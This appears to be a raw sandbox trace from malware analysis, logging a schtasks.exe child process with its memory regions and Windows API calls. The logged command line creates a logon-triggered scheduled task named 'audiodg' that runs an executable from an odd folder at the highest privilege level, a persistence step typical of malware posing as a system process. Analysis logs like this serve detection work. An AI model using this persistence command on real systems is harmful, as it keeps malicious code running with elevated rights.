hHeap=0x390000) returned 1 [0070.605] GetProcessHeap () returned 0x390000 [0070.605] GetProcessHeap () returned 0x390000 [0070.605] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c30) returned 1 [0070.605] GetProcessHeap () returned 0x390000 [0070.606] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5c30) returned 0x20 [0070.606] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c30 | out: hHeap=0x390000) returned 1 [0070.606] GetProcessHeap () returned 0x390000 [0070.606] GetProcessHeap () returned 0x390000 [0070.606] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abad0) returned 1 [0070.606] GetProcessHeap () returned 0x390000 [0070.606] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abad0) returned 0x18 [0070.606] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abad0 | out: hHeap=0x390000) returned 1 [0070.606] exit (_Code=0) Thread: id = 133 os_tid = 0xfa4 Process: id = "27" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3cf4c000" os_pid = "0xfa8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"audiodg\" /sc ONLOGON /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2806 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2807 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2808 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2809 start_va = 0x140000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2810 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2811 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2812 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2813 start_va = 0xff3d0000 end_va = 0xff417fff monitored = 1 entry_point = 0xff3f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2814 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2815 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2816 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2817 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2818 start_va = 0x1c0000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2819 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2820 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2821 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2822 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2823 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2824 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2825 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2826 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2827 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2828 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2829 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2830 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2831 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2832 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2833 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2834 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2835 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2836 start_va = 0x1c0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2837 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2838 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2839 start_va = 0x410000 end_va = 0x597fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 2840 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2841 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2842 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2843 start_va = 0x5a0000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 2844 start_va = 0x730000 end_va = 0x1b2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 2845 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2846 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2847 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2848 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2849 start_va = 0x1b30000 end_va = 0x1dfefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2850 start_va = 0x1e00000 end_va = 0x1e7cfff monitored = 0 entry_point = 0x1e0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2851 start_va = 0x1e00000 end_va = 0x1e7cfff monitored = 0 entry_point = 0x1e0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2852 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2853 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2854 start_va = 0x1e00000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 2855 start_va = 0x1e00000 end_va = 0x1edefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 2856 start_va = 0x1fe0000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 2857 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2858 start_va = 0x1f30000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 2859 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2860 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2861 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2862 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2863 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2864 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2865 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2866 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 134 os_tid = 0xfac [0070.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1bf8e0 | out: lpSystemTimeAsFileTime=0x1bf8e0*(dwLowDateTime=0x52e04280, dwHighDateTime=0x1d9eb0c)) [0070.315] GetCurrentProcessId () returned 0xfa8 [0070.316] GetCurrentThreadId () returned 0xfac [0070.316] GetTickCount () returned 0x1767102 [0070.316] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1bf8e8 | out: lpPerformanceCount=0x1bf8e8*=2487679894756) returned 1 [0070.316] GetModuleHandleW (lpModuleName=0x0) returned 0xff3d0000 [0070.316] __set_app_type (_Type=0x1) [0070.316] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3f972c) returned 0x0 [0070.316] __wgetmainargs (in: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248, _DoWildCard=0, _StartInfo=0xff41125c | out: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248) returned 0 [0070.322] _onexit (_Func=0xff402ab0) returned 0xff402ab0 [0070.322] _onexit (_Func=0xff402ac4) returned 0xff402ac4 [0070.322] _onexit (_Func=0xff402afc) returned 0xff402afc [0070.322] _onexit (_Func=0xff402b58) returned 0xff402b58 [0070.322] _onexit (_Func=0xff402b80) returned 0xff402b80 [0070.323] _onexit (_Func=0xff402ba8) returned 0xff402ba8 [0070.323] _onexit (_Func=0xff402bd0) returned 0xff402bd0 [0070.323] _onexit (_Func=0xff402bf8) returned 0xff402bf8 [0070.323] _onexit (_Func=0xff402c20) returned 0xff402c20 [0070.323] _onexit (_Func=0xff402c48) returned 0xff402c48 [0070.323] _onexit (_Func=0xff402c70) returned 0xff402c70 [0070.323] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0070.323] WinSqmIsOptedIn () returned 0x0 [0070.324] GetProcessHeap () returned 0x310000 [0070.324] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bab0 [0070.324] SetLastError (dwErrCode=0x0) [0070.324] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0070.324] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0070.324] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0070.325] VerifyVersionInfoW (in: lpVersionInformation=0x1bf0a0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bf0a0) returned 1 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bad0 [0070.325] lstrlenW (lpString="") returned 0 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x2) returned 0x32baf0 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x3259f0 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bb10 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325a20 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325a50 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325a80 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325ab0 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bb30 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325ae0 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325b10 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325b40 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325b70 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bb50 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325ba0 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325bd0 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c00 [0070.325] GetProcessHeap () returned 0x310000 [0070.325] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c30 [0070.326] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.326] SetLastError (dwErrCode=0x0) [0070.326] GetProcessHeap () returned 0x310000 [0070.326] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c60 [0070.326] GetProcessHeap () returned 0x310000 [0070.326] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325c90 [0070.326] GetProcessHeap () returned 0x310000 [0070.326] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325cc0 [0070.326] GetProcessHeap () returned 0x310000 [0070.326] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325cf0 [0070.326] GetProcessHeap () returned 0x310000 [0070.326] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325d20 [0070.326] GetProcessHeap () returned 0x310000 [0070.326] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bb70 [0070.326] _memicmp (_Buf1=0x32bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.326] GetProcessHeap () returned 0x310000 [0070.326] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x208) returned 0x32bd10 [0070.326] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0070.326] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0070.328] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0070.328] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0070.329] GetProcessHeap () returned 0x310000 [0070.329] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x74e) returned 0x32c2e0 [0070.329] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0070.330] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x32c2e0 | out: lpData=0x32c2e0) returned 1 [0070.330] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0070.330] VerQueryValueW (in: pBlock=0x32c2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bf188, puLen=0x1bf1f0 | out: lplpBuffer=0x1bf188*=0x32c67c, puLen=0x1bf1f0) returned 1 [0070.332] _memicmp (_Buf1=0x32bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.332] _vsnwprintf (in: _Buffer=0x32bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bf168 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0070.332] VerQueryValueW (in: pBlock=0x32c2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bf1f8, puLen=0x1bf1e8 | out: lplpBuffer=0x1bf1f8*=0x32c4a8, puLen=0x1bf1e8) returned 1 [0070.332] lstrlenW (lpString="schtasks.exe") returned 12 [0070.332] lstrlenW (lpString="schtasks.exe") returned 12 [0070.332] lstrlenW (lpString=".EXE") returned 4 [0070.332] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0070.333] lstrlenW (lpString="schtasks.exe") returned 12 [0070.333] lstrlenW (lpString=".EXE") returned 4 [0070.333] _memicmp (_Buf1=0x32bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.333] lstrlenW (lpString="schtasks") returned 8 [0070.334] GetProcessHeap () returned 0x310000 [0070.334] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325e10 [0070.334] GetProcessHeap () returned 0x310000 [0070.334] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cbf0 [0070.334] GetProcessHeap () returned 0x310000 [0070.334] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc20 [0070.334] GetProcessHeap () returned 0x310000 [0070.334] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc50 [0070.334] GetProcessHeap () returned 0x310000 [0070.334] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bb90 [0070.334] _memicmp (_Buf1=0x32bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.334] GetProcessHeap () returned 0x310000 [0070.334] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xa0) returned 0x32c110 [0070.334] GetProcessHeap () returned 0x310000 [0070.334] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc80 [0070.334] GetProcessHeap () returned 0x310000 [0070.334] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ccb0 [0070.334] GetProcessHeap () returned 0x310000 [0070.334] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cce0 [0070.334] GetProcessHeap () returned 0x310000 [0070.334] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32bbb0 [0070.334] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.335] GetProcessHeap () returned 0x310000 [0070.335] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x200) returned 0x32d3c0 [0070.335] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0070.335] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0070.335] GetProcessHeap () returned 0x310000 [0070.335] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x30) returned 0x327b80 [0070.335] _vsnwprintf (in: _Buffer=0x32c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bf168 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0070.335] GetProcessHeap () returned 0x310000 [0070.335] GetProcessHeap () returned 0x310000 [0070.335] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2e0) returned 1 [0070.335] GetProcessHeap () returned 0x310000 [0070.335] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c2e0) returned 0x74e [0070.336] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2e0 | out: hHeap=0x310000) returned 1 [0070.336] SetLastError (dwErrCode=0x0) [0070.336] GetThreadLocale () returned 0x409 [0070.337] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.337] lstrlenW (lpString="?") returned 1 [0070.337] GetThreadLocale () returned 0x409 [0070.337] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.337] lstrlenW (lpString="create") returned 6 [0070.337] GetThreadLocale () returned 0x409 [0070.337] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.337] lstrlenW (lpString="delete") returned 6 [0070.337] GetThreadLocale () returned 0x409 [0070.337] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.337] lstrlenW (lpString="query") returned 5 [0070.337] GetThreadLocale () returned 0x409 [0070.337] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.337] lstrlenW (lpString="change") returned 6 [0070.337] GetThreadLocale () returned 0x409 [0070.337] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.337] lstrlenW (lpString="run") returned 3 [0070.337] GetThreadLocale () returned 0x409 [0070.337] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.337] lstrlenW (lpString="end") returned 3 [0070.337] GetThreadLocale () returned 0x409 [0070.337] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.337] lstrlenW (lpString="showsid") returned 7 [0070.337] GetThreadLocale () returned 0x409 [0070.337] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0070.337] SetLastError (dwErrCode=0x0) [0070.337] SetLastError (dwErrCode=0x0) [0070.337] lstrlenW (lpString="/create") returned 7 [0070.338] lstrlenW (lpString="-/") returned 2 [0070.338] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.338] lstrlenW (lpString="?") returned 1 [0070.338] lstrlenW (lpString="?") returned 1 [0070.338] 